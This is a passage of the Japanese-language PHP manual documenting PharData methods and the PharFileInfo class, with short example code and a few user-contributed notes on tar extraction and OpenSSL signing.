    unlink('phar://myphar.phar/unlink/me.php');
} catch (Exception $e) {
    // エラー処理
}
?>

参考

  • Phar::delete() - phar アーカイブ内のファイルを削除する

User Contributed Notes

There are no user contributed notes for this page.


tar/zip アーカイブの内容をディレクトリに展開する

  • ≪ PharData::delete
  • PharData::isWritable ≫
  • PHP Manual
  • PharData
  • tar/zip アーカイブの内容をディレクトリに展開する

PharData::extractTo

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

PharData::extractTo — tar/zip アーカイブの内容をディレクトリに展開する

説明

public PharData::extractTo ( string $pathto , string|array|null $files = null , bool $overwrite = false ) : bool

tar/zip アーカイブ内のすべてのファイルをディスクに展開します。 展開されたファイルやディレクトリは、アーカイブに保存されたときのパーミッションを維持しています。 オプションのパラメータを使用すると、どのファイルを展開するかを制御したり 既存のファイルを上書きするかどうかを指定したりすることができます。 2 番目のパラメータ files には、 展開したいファイルやディレクトリの名前、あるいはその配列を指定します。 デフォルトでは、このメソッドは既存のファイルを上書きしません。 3 番目のパラメータを true にすると既存のファイルを上書きさせることができます。 このメソッドは ZipArchive::extractTo() と同じようなものです。

パラメータ

pathto

指定した files の展開先のパス。

files

展開したいファイル名/ディレクトリ名、あるいはその配列。

overwrite

true にすると既存のファイルを上書きします。

返り値

成功した場合に true を返します。 しかし、例外がスローされているかどうかを確認したうえで 例外がなければ成功とみなすほうがいいでしょう。

エラー / 例外

変更内容をディスクに書き込む際にエラーが発生した場合は PharException をスローします。

例

例1 PharData::extractTo() の例

<?php
try {
    $phar = new PharData('myphar.tar');
    $phar->extractTo('/full/path'); // すべてのファイルを展開します
    $phar->extractTo('/another/path', 'file.txt'); // file.txt のみを展開します
    $phar->extractTo('/this/path',
        array('file1.txt', 'file2.txt')); // 2 つのファイルだけを展開します
    $phar->extractTo('/third/path', null, true); // すべてのファイルを展開し、上書きします
} catch (Exception $e) {
    // エラー処理
}
?>

参考

  • Phar::extractTo() - phar アーカイブの内容をディレクトリに展開する

User Contributed Notes

Anonymous 08-Jun-2017 12:34
I'm unable to extract the first directory from a tar archive:
the destination dir remains empty,
no error is thrown

<?php
$tar = new \PharData('archive.tar');
if ($tar->current()->isDir()) {
                echo 'is_dir';
                $dir = $tar->current()->getPathname();
                $dir = basename($dir);
                $tar->extractTo('destination', $dir);
}
?>

the docs hint that the second param could be a name of file OR DIR to be extracted from the archive, is that really possible?
njh at aelius dot com 08-Mar-2013 11:34
Note that PHAR only supports extracting the 'ustar' variant of the tar archives.

Some systems (such as older versions of Mac OS X) generate the 'pax' format by default.

See here for more information:
http://php.net/manual/pl/phar.fileformat.tar.php


tar/zip アーカイブが変更可能な場合に true を返す

  • ≪ PharData::extractTo
  • PharData::offsetSet ≫
  • PHP Manual
  • PharData
  • tar/zip アーカイブが変更可能な場合に true を返す

PharData::isWritable

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

PharData::isWritable — tar/zip アーカイブが変更可能な場合に true を返す

説明

public PharData::isWritable ( ) : bool

このメソッドは、ディスク上の tar/zip アーカイブが読み込み専用でない場合に true を返します。Phar::isWritable() とは異なり、 データのみの tar/zip アーカイブは phar.readonly が 1 であっても変更可能です。

パラメータ

パラメータはありません。

返り値

tar/zip アーカイブが変更可能な場合に true を返します。

参考

  • Phar::canWrite() - phar 拡張モジュールが phar の書き込みや作成をサポートしているかどうかを返す
  • Phar::isWritable() - phar アーカイブが変更可能な場合に true を返す

User Contributed Notes

There are no user contributed notes for this page.


tar/zip の内部のファイルに、外部ファイルあるいは文字列の内容を設定する

  • ≪ PharData::isWritable
  • PharData::offsetUnset ≫
  • PHP Manual
  • PharData
  • tar/zip の内部のファイルに、外部ファイルあるいは文字列の内容を設定する

PharData::offsetSet

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

PharData::offsetSet — tar/zip の内部のファイルに、外部ファイルあるいは文字列の内容を設定する

説明

public PharData::offsetSet ( string $offset , string $value ) : void

これは ArrayAccess インターフェイスを実装したものです。 これにより、tar/zip アーカイブの内容に対して配列形式の角括弧を使用したアクセスが可能となります。 offsetSet を使用して、tar/zip アーカイブの既存ファイルの変更や 新しいファイルの追加を行います。

パラメータ

offset

tar あるいは zip アーカイブ内で変更するファイル名 (相対パス)。

value

ファイルの内容。

返り値

値を返しません。

エラー / 例外

Phar アーカイブへの変更をディスクに書き込む際に何らかのエラーが発生すると PharException がスローされます。

例

例1 PharData::offsetSet() の例

offsetSet は直接使用してはいけません。 配列に [] 演算子でアクセスする際に使用されます。

<?php
$p = new PharData('/path/to/my.tar');
try {
    // offsetSet がコールされます
    $p['file.txt'] = 'Hi there';
} catch (Exception $e) {
    echo 'file.txt を変更できません: ', $e;
}
?>

注意

注意: PharData::addFile(), PharData::addFromString(), PharData::offsetSet() は、呼び出されるたびに新しいPharアーカイブを生成します。パフォーマンスを気にするなら、代わりに PharData::buildFromDirectory() や PharData::buildFromIterator() を使うべきです。

参考

  • Phar::offsetSet() - 内部ファイルに、外部ファイルの内容を設定する

User Contributed Notes

There are no user contributed notes for this page.


ファイルを tar/zip アーカイブから削除する

  • ≪ PharData::offsetSet
  • PharData::setAlias ≫
  • PHP Manual
  • PharData
  • ファイルを tar/zip アーカイブから削除する

PharData::offsetUnset

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

PharData::offsetUnset — ファイルを tar/zip アーカイブから削除する

説明

public PharData::offsetUnset ( string $offset ) : bool

これは ArrayAccess インターフェイスを実装したものです。 これにより、Phar アーカイブの内容に対して配列形式の角括弧を使用したアクセスが可能となります。 offsetUnset を使用して、既存のファイルを削除します。また unset() が使用された場合にもコールされます。

パラメータ

offset

tar/zip アーカイブ内で変更するファイル名 (相対パス)。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

tar/zip アーカイブへの変更をディスクに書き込む際に何らかのエラーが発生すると PharException をスローします。

例

例1 PharData::offsetUnset() の例

<?php
$p = new PharData('/path/to/my.zip');
try {
    // offsetUnset がコールされ、file.txt が my.zip から削除されます
    unset($p['file.txt']);
} catch (Exception $e) {
    echo 'file.txt を削除できません: ', $e;
}
?>

参考

  • Phar::offsetUnset() - ファイルを phar から削除する

User Contributed Notes

There are no user contributed notes for this page.


ダミー関数 (Phar::setAlias は PharData では使用不能)

  • ≪ PharData::offsetUnset
  • PharData::setDefaultStub ≫
  • PHP Manual
  • PharData
  • ダミー関数 (Phar::setAlias は PharData では使用不能)

PharData::setAlias

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

PharData::setAlias — ダミー関数 (Phar::setAlias は PharData では使用不能)

説明

public PharData::setAlias ( string $alias ) : bool

実行可能でない tar/zip アーカイブはエイリアスを持つことができないので、 このメソッドは単に例外をスローします。

パラメータ

alias

このアーカイブを指すときに使用する短い文字列。 phar ストリームラッパーがアクセスする際にこれを使用します。 このパラメータは無視されます。

返り値

エラー / 例外

このメソッドがコールされると必ず PharException をスローします。

参考

  • Phar::setAlias() - Phar アーカイブのエイリアスを設定する

User Contributed Notes

There are no user contributed notes for this page.


ダミー関数 (Phar::setDefaultStub は PharData では無効)

  • ≪ PharData::setAlias
  • PharData::setMetadata ≫
  • PHP Manual
  • PharData
  • ダミー関数 (Phar::setDefaultStub は PharData では無効)

PharData::setDefaultStub

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

PharData::setDefaultStub — ダミー関数 (Phar::setDefaultStub は PharData では無効)

説明

public PharData::setDefaultStub ( string $index = ? , string $webindex = ? ) : bool

実行可能でない tar/zip アーカイブはスタブを持つことができません。 そのため、このメソッドは単に例外をスローするだけです。

パラメータ

index

コマンドラインからアクセスした場合に実行する、 phar アーカイブ内の相対パス。

webindex

ウェブブラウザからアクセスした場合に実行する、 phar アーカイブ内の相対パス。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

常に PharException をスローします。

参考

  • Phar::setDefaultStub() - Phar アーカイブの PHP ローダー (起動スタブ) をデフォルトのローダーに設定する

User Contributed Notes

There are no user contributed notes for this page.


phar アーカイブのメタデータを設定する

  • ≪ PharData::setDefaultStub
  • PharData::setSignatureAlgorithm ≫
  • PHP Manual
  • PharData
  • phar アーカイブのメタデータを設定する

PharData::setMetadata

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

PharData::setMetadata — phar アーカイブのメタデータを設定する

説明

public PharData::setMetadata ( mixed $metadata ) : void

注意:

このメソッドは、php.ini の phar.readonly が 0 でないと Phar オブジェクトで動作しません。それ以外の場合は PharException がスローされます。

Phar::setMetadata() は、 phar アーカイブ全体に関する独自の情報を保存する場合に使用します。 ファイル固有のメタデータについては PharFileInfo::setMetadata() を使うようにしましょう。大きなメタデータを使用すると、 phar アーカイブの読み込み時のパフォーマンスが低下します。

メタデータの使用例として考えられるのは、 アーカイブの中で最初に実行するファイルはどれかを指定したり、 » PEAR の package.xml のようなマニフェストの場所を指定したりすることです。 しかし、phar アーカイブに関する有用なデータなら何を保存してもかまいません。

パラメータ

metadata

phar アーカイブについての情報を含む、PHP の変数。

返り値

値を返しません。

例

例1 Phar::setMetadata() の例

<?php
// 確実に消しておきます
@unlink('brandnewphar.phar');
try {
    $p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
    $p['file.php'] = '<?php echo "hello"';
    $p->setMetadata(array('bootstrap' => 'file.php'));
    var_dump($p->getMetadata());
} catch (Exception $e) {
    echo 'phar の作成/変更ができません:', $e;
}
?>

上の例の出力は以下となります。

array(1) {
  ["bootstrap"]=>
  string(8) "file.php"
}

参考

  • Phar::getMetadata() - phar アーカイブのメタデータを返す
  • Phar::delMetadata() - phar のグローバルメタデータを削除する
  • Phar::hasMetadata() - ファイルがグローバルなメタデータを持つかどうかを返す

User Contributed Notes

There are no user contributed notes for this page.


phar のシグネチャのアルゴリズムを設定する

  • ≪ PharData::setMetadata
  • PharData::setStub ≫
  • PHP Manual
  • PharData
  • phar のシグネチャのアルゴリズムを設定する

PharData::setSignatureAlgorithm

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

PharData::setSignatureAlgorithm — phar のシグネチャのアルゴリズムを設定する

説明

public PharData::setSignatureAlgorithm ( int $sigtype ) : void

注意:

このメソッドは、php.ini の phar.readonly が 0 でないと Phar オブジェクトで動作しません。それ以外の場合は PharException がスローされます。

phar のシグネチャのアルゴリズムを設定します。
シグネチャのアルゴリズムは Phar::MD5、
Phar::SHA1、Phar::SHA256、
Phar::SHA512 あるいは Phar::OPENSSL
のいずれかでなければなりません

パラメータ

sigtype

    Phar::MD5、
Phar::SHA1、Phar::SHA256、
Phar::SHA512 あるいは Phar::OPENSSL
    のいずれか。

返り値

値を返しません。

エラー / 例外

さまざまなエラーが発生した場合に UnexpectedValueException をスローします。 zip 形式や tar 形式の phar アーカイブに対してコールした場合は BadMethodCallException をスローします。 変更内容をディスクに書き込むときにエラーが発生した場合は PharException をスローします。

参考

  • Phar::getSupportedSignatures() - サポートするシグネチャ型の配列を返す
  • Phar::getSignature() - Phar アーカイブの MD5/SHA1/SHA256/SHA512/OpenSSL シグネチャを返す

User Contributed Notes

obsidian[at-nospam]codebite[dot]net 14-Jun-2011 02:06
As a note, the docs don't show the (optional) second parameter nor mention the existence of the Phar::OPENSSL class constant also available for use with this method.

To sign a phar with OpenSSL, for example...

<?php

$phar = new Phar('somephar.phar');
// ... add your files and such
$phar->setSignatureAlgorithm(Phar::OPENSSL, file_get_contents('private_key_here.pem'));
// ... do whatever else you want afterwards here ...
?>

Hope this proves useful to someone.


ダミー関数 (Phar::setStub は PharData では使用不能)

  • ≪ PharData::setSignatureAlgorithm
  • PharFileInfo ≫
  • PHP Manual
  • PharData
  • ダミー関数 (Phar::setStub は PharData では使用不能)

PharData::setStub

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

PharData::setStub — ダミー関数 (Phar::setStub は PharData では使用不能)

説明

public PharData::setStub ( string $stub , int $len = -1 ) : bool

実行可能でない tar/zip アーカイブはスタブを持つことができないので、 このメソッドは単に例外をスローします。

パラメータ

stub

文字列あるいはオープンしたストリームハンドル。 この phar アーカイブの実行スタブとして使用します。 このパラメータは無視されます。

len

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

このメソッドがコールされると必ず PharException をスローします。

参考

  • Phar::setStub() - Phar アーカイブの PHP ローダ (あるいは起動スタブ) を設定する

User Contributed Notes

There are no user contributed notes for this page.


PharFileInfo クラス

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

はじめに

PharFileInfo クラスは、 phar アーカイブ内の個々のファイルのコンテンツや属性への 高レベルインターフェイスを提供します。

クラス概要

PharFileInfo extends SplFileInfo {
/* メソッド */
public chmod ( int $permissions ) : void
public compress ( int $compression ) : bool
public __construct ( string $entry )
public decompress ( ) : bool
public delMetadata ( ) : bool
public getCRC32 ( ) : int
public getCompressedSize ( ) : int
public getContent ( ) : string
public getMetadata ( ) : mixed
public getPharFlags ( ) : int
public hasMetadata ( ) : bool
public isCRCChecked ( ) : bool
public isCompressed ( int $compression_type = 9021976 ) : bool
public setMetadata ( mixed $metadata ) : void
/* 継承したメソッド */
public SplFileInfo::getATime ( ) : int
public SplFileInfo::getBasename ( string $suffix = ? ) : string
public SplFileInfo::getCTime ( ) : int
public SplFileInfo::getExtension ( ) : string
public SplFileInfo::getFileInfo ( string $class_name = ? ) : SplFileInfo
public SplFileInfo::getFilename ( ) : string
public SplFileInfo::getGroup ( ) : int
public SplFileInfo::getInode ( ) : int
public SplFileInfo::getLinkTarget ( ) : string
public SplFileInfo::getMTime ( ) : int
public SplFileInfo::getOwner ( ) : int
public SplFileInfo::getPath ( ) : string
public SplFileInfo::getPathInfo ( string $class_name = ? ) : SplFileInfo
public SplFileInfo::getPathname ( ) : string
public SplFileInfo::getPerms ( ) : int
public SplFileInfo::getRealPath ( ) : string
public SplFileInfo::getSize ( ) : int
public SplFileInfo::getType ( ) : string
public SplFileInfo::isDir ( ) : bool
public SplFileInfo::isExecutable ( ) : bool
public SplFileInfo::isFile ( ) : bool
public SplFileInfo::isLink ( ) : bool
public SplFileInfo::isReadable ( ) : bool
public SplFileInfo::isWritable ( ) : bool
public SplFileInfo::openFile ( string $open_mode = "r" , bool $use_include_path = false , resource $context = null ) : SplFileObject
public SplFileInfo::setFileClass ( string $class_name = "SplFileObject" ) : void
public SplFileInfo::setInfoClass ( string $class_name = "SplFileInfo" ) : void
public SplFileInfo::__toString ( ) : string
}

目次

  • PharFileInfo::chmod — ファイル固有のパーミッションビットを設定する
  • PharFileInfo::compress — 現在の Phar エントリを zlib あるいは bzip2 のいずれかで圧縮する
  • PharFileInfo::__construct — Phar エントリオブジェクトを作成する
  • PharFileInfo::decompress — phar 内の現在の Phar エントリの圧縮を解除する
  • PharFileInfo::delMetadata — エントリのメタデータを削除する
  • PharFileInfo::getCRC32 — CRC32 コードを返すか、CRC がチェックできない場合に例外をスローする
  • PharFileInfo::getCompressedSize — Phar アーカイブ内での実際のファイルの大きさ (圧縮された状態) を返す
  • PharFileInfo::getContent — エントリの完全なファイルの内容を取得する
  • PharFileInfo::getMetadata — ファイルとともに保存されている、ファイル固有のメタデータを返す
  • PharFileInfo::getPharFlags — Phar ファイルエントリのフラグを返す
  • PharFileInfo::hasMetadata — エントリのメタデータを返す
  • PharFileInfo::isCRCChecked — ファイルエントリの CRC が検証されているかどうかを調べる
  • PharFileInfo::isCompressed — エントリが圧縮されているかどうかを調べる
  • PharFileInfo::setMetadata — ファイルとともに保存する、ファイル固有のメタデータを設定する

User Contributed Notes

There are no user contributed notes for this page.


ファイル固有のパーミッションビットを設定する

  • ≪ PharFileInfo
  • PharFileInfo::compress ≫
  • PHP Manual
  • PharFileInfo
  • ファイル固有のパーミッションビットを設定する

PharFileInfo::chmod

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

PharFileInfo::chmod — ファイル固有のパーミッションビットを設定する

説明

public PharFileInfo::chmod ( int $permissions ) : void

PharFileInfo::chmod() は、ファイルパーミッションのうち実行ビットと読み込みビットを設定します。 書き込みビットについては無視されます。書き込みビットは、実行時に INI 設定 phar.readonly に基づいて自動的に設定されます。 この関数は phar の内容を変更するので、Phar アーカイブ内のファイルを操作するには INI 設定 phar.readonly がオフでなければなりません。 PharData アーカイブ内のファイルについては、この制約はありません。

パラメータ

permissions

パーミッション (chmod() を参照ください)。

返り値

値を返しません。

例

例1 PharFileInfo::chmod() の例

<?php
// 確実に消しておきます
@unlink('brandnewphar.phar');
try {
    $p = new Phar('brandnewphar.phar', 0, 'brandnewphar.phar');
    $p['file.sh'] = '#!/usr/local/lib/php
    <?php echo "hi"; ?>';
    // 実行ビットを設定します
    $p['file.sh']->chmod(0555);
    var_dump($p['file.sh']->isExecutable());
} catch (Exception $e) {
    echo 'phar の作成/変更に失敗しました: ', $e;
}
?>

上の例の出力は以下となります。

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


現在の Phar エントリを zlib あるいは bzip2 のいずれかで圧縮する

  • ≪ PharFileInfo::chmod
  • PharFileInfo::__construct ≫
  • PHP Manual
  • PharFileInfo
  • 現在の Phar エントリを zlib あるいは bzip2 のいずれかで圧縮する

PharFileInfo::compress

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

PharFileInfo::compress — 現在の Phar エントリを zlib あるいは bzip2 のいずれかで圧縮する

説明

public PharFileInfo::compress ( int $compression ) : bool

このメソッドは、Phar アーカイブ内のファイルを bzip あるいは zlib で圧縮します。 この機能を使用するには bzip2 拡張モジュールあるいは zlib 拡張モジュールが有効になっていなければなりません。 さらに、ファイルがすでに圧縮されている場合には、 その圧縮をいったん解除するために対応する拡張モジュールが必要となります。 この関数は phar の内容を変更するので、Phar アーカイブ内のファイルを扱うには INI 設定 phar.readonly が off になっていなければなりません。 PharData アーカイブ内のファイルについてはこの制約はありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

INI 設定 phar.readonly が on の場合、あるいは zlib/zlib 拡張モジュールが使用できない場合に BadMethodCallException をスローします。

例

例1 PharFileInfo::compress() の例

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $file = $p['myfile.txt'];
    var_dump($file->isCompressed(Phar::BZ2));
    $p['myfile.txt']->compress(Phar::BZ2);
    var_dump($file->isCompressed(Phar::BZ2));
} catch (Exception $e) {
    echo 'Create/modify operations on my.phar failed: ', $e;
}
?>

上の例の出力は以下となります。

bool(false)
bool(true)

参考

  • PharFileInfo::getCompressedSize() - Phar アーカイブ内での実際のファイルの大きさ (圧縮された状態) を返す
  • PharFileInfo::isCompressed() - エントリが圧縮されているかどうかを調べる
  • PharFileInfo::decompress() - phar 内の現在の Phar エントリの圧縮を解除する
  • Phar::canCompress() - phar 拡張モジュールが zlib あるいは bzip2 による圧縮をサポートしているかどうかを返す
  • Phar::isCompressed() - phar アーカイブ全体が (.tar.gz/tar.bz などで) 圧縮されている場合に Phar::GZ あるいは PHAR::BZ2 を返す
  • Phar::compressFiles() - 現在の Phar アーカイブ内のすべてのファイルを圧縮する
  • Phar::decompressFiles() - 現在の Phar アーカイブ内のすべてのファイルの圧縮を解除する
  • Phar::compress() - Phar アーカイブ全体を Gzip あるいは Bzip2 で圧縮する
  • Phar::decompress() - Phar アーカイブ全体の圧縮を解除する
  • Phar::getSupportedCompression() - サポートする圧縮アルゴリズムの配列を返す

User Contributed Notes

There are no user contributed notes for this page.


Phar エントリオブジェクトを作成する

  • ≪ PharFileInfo::compress
  • PharFileInfo::decompress ≫
  • PHP Manual
  • PharFileInfo
  • Phar エントリオブジェクトを作成する

PharFileInfo::__construct

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

PharFileInfo::__construct — Phar エントリオブジェクトを作成する

説明

public PharFileInfo::__construct ( string $entry )

これは直接コールしてはいけません。PharFileInfo オブジェクトを作成するには、 配列へのアクセスを通じて Phar::offsetGet() をコールします。

パラメータ

entry

ファイルを取得するための完全な url。 ファイル my/file.php の情報を phar boo.phar から取得したい場合は、 このエントリは phar://boo.phar/my/file.php となります。

エラー / 例外

__construct() が二度コールされた場合に BadMethodCallException、 phar の URL がおかしかったり phar がオープンできなかったり、 あるいはファイルが phar 内で見つからなかった場合に UnexpectedValueException がスローされます。

例

例1 PharFileInfo::__construct() の例

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['testfile.txt'] = "hi\nthere\ndude";
    $file = $p['testfile.txt'];
    foreach ($file as $line => $text) {
        echo "行番号 $line: $text";
    }
    // これも動作します
    $file = new PharFileInfo('phar:///path/to/my.phar/testfile.txt');
    foreach ($file as $line => $text) {
        echo "行番号 $line: $text";
    }
} catch (Exception $e) {
    echo 'Phar 操作に失敗しました: ', $e;
}
?>

上の例の出力は以下となります。

行番号 1: hi
行番号 2: there
行番号 3: dude
行番号 1: hi
行番号 2: there
行番号 3: dude

User Contributed Notes

There are no user contributed notes for this page.


phar 内の現在の Phar エントリの圧縮を解除する

  • ≪ PharFileInfo::__construct
  • PharFileInfo::delMetadata ≫
  • PHP Manual
  • PharFileInfo
  • phar 内の現在の Phar エントリの圧縮を解除する

PharFileInfo::decompress

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

PharFileInfo::decompress — phar 内の現在の Phar エントリの圧縮を解除する

説明

public PharFileInfo::decompress ( ) : bool

このメソッドは、Phar アーカイブ内のファイルの圧縮を解除します。 ファイルの圧縮形式に応じて、この機能を使用するには bzip2 拡張モジュールあるいは zlib 拡張モジュールが有効になっていなければなりません。 この関数は phar の内容を変更するので、Phar アーカイブ内のファイルを扱うには INI 設定 phar.readonly が off になっていなければなりません。 PharData アーカイブ内のファイルについてはこの制約はありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

INI 設定 phar.readonly が on の場合、あるいは zlib/zlib 拡張モジュールが使用できない場合に BadMethodCallException をスローします。

例

例1 PharFileInfo::decompress() の例

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $file = $p['myfile.txt'];
    $file->compress(Phar::GZ);
    var_dump($file->isCompressed());
    $p['myfile.txt']->decompress();
    var_dump($file->isCompressed());
} catch (Exception $e) {
    echo 'Create/modify failed for my.phar: ', $e;
}
?>

上の例の出力は以下となります。

int(4096)
bool(false)

参考

  • PharFileInfo::getCompressedSize() - Phar アーカイブ内での実際のファイルの大きさ (圧縮された状態) を返す
  • PharFileInfo::isCompressed() - エントリが圧縮されているかどうかを調べる
  • PharFileInfo::compress() - 現在の Phar エントリを zlib あるいは bzip2 のいずれかで圧縮する
  • Phar::canCompress() - phar 拡張モジュールが zlib あるいは bzip2 による圧縮をサポートしているかどうかを返す
  • Phar::isCompressed() - phar アーカイブ全体が (.tar.gz/tar.bz などで) 圧縮されている場合に Phar::GZ あるいは PHAR::BZ2 を返す
  • Phar::compressFiles() - 現在の Phar アーカイブ内のすべてのファイルを圧縮する
  • Phar::decompressFiles() - 現在の Phar アーカイブ内のすべてのファイルの圧縮を解除する
  • Phar::compress() - Phar アーカイブ全体を Gzip あるいは Bzip2 で圧縮する
  • Phar::decompress() - Phar アーカイブ全体の圧縮を解除する
  • Phar::getSupportedCompression() - サポートする圧縮アルゴリズムの配列を返す

User Contributed Notes

There are no user contributed notes for this page.


エントリのメタデータを削除する

  • ≪ PharFileInfo::decompress
  • PharFileInfo::getCRC32 ≫
  • PHP Manual
  • PharFileInfo
  • エントリのメタデータを削除する

PharFileInfo::delMetadata

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.2.0)

PharFileInfo::delMetadata — エントリのメタデータを削除する

説明

public PharFileInfo::delMetadata ( ) : bool

エントリのメタデータが存在する場合にそれを削除します。

パラメータ

パラメータはありません。

返り値

成功した場合に true を返します。 エントリがメタデータを持っていない場合に false を返します。 この関数は phar の内容を変更するので、Phar アーカイブ内のファイルを操作するには INI 設定 phar.readonly がオフでなければなりません。 PharData アーカイブ内のファイルについては、この制約はありません。

エラー / 例外

変更のディスクへの書き込み時にエラーが発生した場合は PharException、 書き込みアクセスが無効となっている場合は BadMethodCallException をスローします。

例

例1 PharFileInfo::delMetaData() の例

<?php
try {
    $a = new Phar('myphar.phar');
    $a['hi'] = 'hi';
    var_dump($a['hi']->delMetadata());
    $a['hi']->setMetadata('there');
    var_dump($a['hi']->delMetadata());
    var_dump($a['hi']->delMetadata());
} catch (Exception $e) {
    // エラー処理
}
?>

上の例の出力は以下となります。

bool(false)
bool(true)
bool(false)

参考

  • PharFileInfo::setMetadata() - ファイルとともに保存する、ファイル固有のメタデータを設定する
  • PharFileInfo::hasMetadata() - エントリのメタデータを返す
  • PharFileInfo::getMetadata() - ファイルとともに保存されている、ファイル固有のメタデータを返す
  • Phar::setMetadata() - phar アーカイブのメタデータを設定する
  • Phar::hasMetadata() - ファイルがグローバルなメタデータを持つかどうかを返す
  • Phar::getMetadata() - phar アーカイブのメタデータを返す

User Contributed Notes

There are no user contributed notes for this page.


CRC32 コードを返すか、CRC がチェックできない場合に例外をスローする

  • ≪ PharFileInfo::delMetadata
  • PharFileInfo::getCompressedSize ≫
  • PHP Manual
  • PharFileInfo
  • CRC32 コードを返すか、CRC がチェックできない場合に例外をスローする

PharFileInfo::getCRC32

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

PharFileInfo::getCRC32 — CRC32 コードを返すか、CRC がチェックできない場合に例外をスローする

説明

public PharFileInfo::getCRC32 ( ) : int

Phar アーカイブ内のファイルの crc32() チェックサムを返します。

返り値

Phar アーカイブ内のファイルの crc32() チェックサムを返します。

エラー / 例外

ファイルがまだ CRC32 で検証されていない場合に BadMethodCallException をスローします。 通常、これはありえません。CRC の検証は、 読み込みモードあるいは書き込みモードでファイルをオープンする際に行われるからです。

例

例1 PharFileInfo::getCRC32() の例

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $file = $p['myfile.txt'];
    echo $file->getCRC32();
} catch (Exception $e) {
    echo 'my.phar での書き込み操作に失敗しました: ', $e;
}
?>

上の例の出力は以下となります。

3633523372

User Contributed Notes

There are no user contributed notes for this page.


Phar アーカイブ内での実際のファイルの大きさ (圧縮された状態) を返す

  • ≪ PharFileInfo::getCRC32
  • PharFileInfo::getContent ≫
  • PHP Manual
  • PharFileInfo
  • Phar アーカイブ内での実際のファイルの大きさ (圧縮された状態) を返す

PharFileInfo::getCompressedSize

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

PharFileInfo::getCompressedSize — Phar アーカイブ内での実際のファイルの大きさ (圧縮された状態) を返す

説明

public PharFileInfo::getCompressedSize ( ) : int

この関数は、Phar アーカイブ内でのファイルの大きさを返します。 圧縮されていないファイルの場合は、getCompressedSize は filesize() と同じ値を返します。

返り値

ディスク上の Phar アーカイブ内のファイルのバイト数を返します。

例

例1 PharFileInfo::getCompressedSize() の例

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $file = $p['myfile.txt'];
    echo $file->getCompressedSize();
} catch (Exception $e) {
    echo 'my.phar での書き込み操作に失敗しました: ', $e;
}
?>

上の例の出力は以下となります。

2

参考

  • PharFileInfo::isCompressed() - エントリが圧縮されているかどうかを調べる
  • PharFileInfo::decompress() - phar 内の現在の Phar エントリの圧縮を解除する
  • PharFileInfo::compress() - 現在の Phar エントリを zlib あるいは bzip2 のいずれかで圧縮する
  • Phar::canCompress() - phar 拡張モジュールが zlib あるいは bzip2 による圧縮をサポートしているかどうかを返す
  • Phar::isCompressed() - phar アーカイブ全体が (.tar.gz/tar.bz などで) 圧縮されている場合に Phar::GZ あるいは PHAR::BZ2 を返す
  • Phar::compress() - Phar アーカイブ全体を Gzip あるいは Bzip2 で圧縮する
  • Phar::decompress() - Phar アーカイブ全体の圧縮を解除する
  • Phar::getSupportedCompression() - サポートする圧縮アルゴリズムの配列を返す
  • Phar::decompressFiles() - 現在の Phar アーカイブ内のすべてのファイルの圧縮を解除する
  • Phar::compressFiles() - 現在の Phar アーカイブ内のすべてのファイルを圧縮する

User Contributed Notes

There are no user contributed notes for this page.


エントリの完全なファイルの内容を取得する

  • ≪ PharFileInfo::getCompressedSize
  • PharFileInfo::getMetadata ≫
  • PHP Manual
  • PharFileInfo
  • エントリの完全なファイルの内容を取得する

PharFileInfo::getContent

(PHP 5 >= 5.3.0, PHP 7)

PharFileInfo::getContent — エントリの完全なファイルの内容を取得する

説明

public PharFileInfo::getContent ( ) : string

この関数は file_get_contents() のように振る舞いますが、 Phar 専用です。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルの内容を返します。

User Contributed Notes

There are no user contributed notes for this page.


ファイルとともに保存されている、ファイル固有のメタデータを返す

  • ≪ PharFileInfo::getContent
  • PharFileInfo::getPharFlags ≫
  • PHP Manual
  • PharFileInfo
  • ファイルとともに保存されている、ファイル固有のメタデータを返す

PharFileInfo::getMetadata

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

PharFileInfo::getMetadata — ファイルとともに保存されている、ファイル固有のメタデータを返す

説明

public PharFileInfo::getMetadata ( ) : mixed

Phar アーカイブ内で、このファイル用のマニフェストに保存されたメタデータを返します。

パラメータ

返り値

ファイルのメタデータとして保存されている、シリアライズ可能な任意の PHP 変数を返します。 メタデータが保存されていない場合は null を返します。

例

例1 PharFileInfo::getMetadata() の例

<?php
// 確実に消しておきます
@unlink('brandnewphar.phar');
try {
    $p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
    $p['file.txt'] = 'hello';
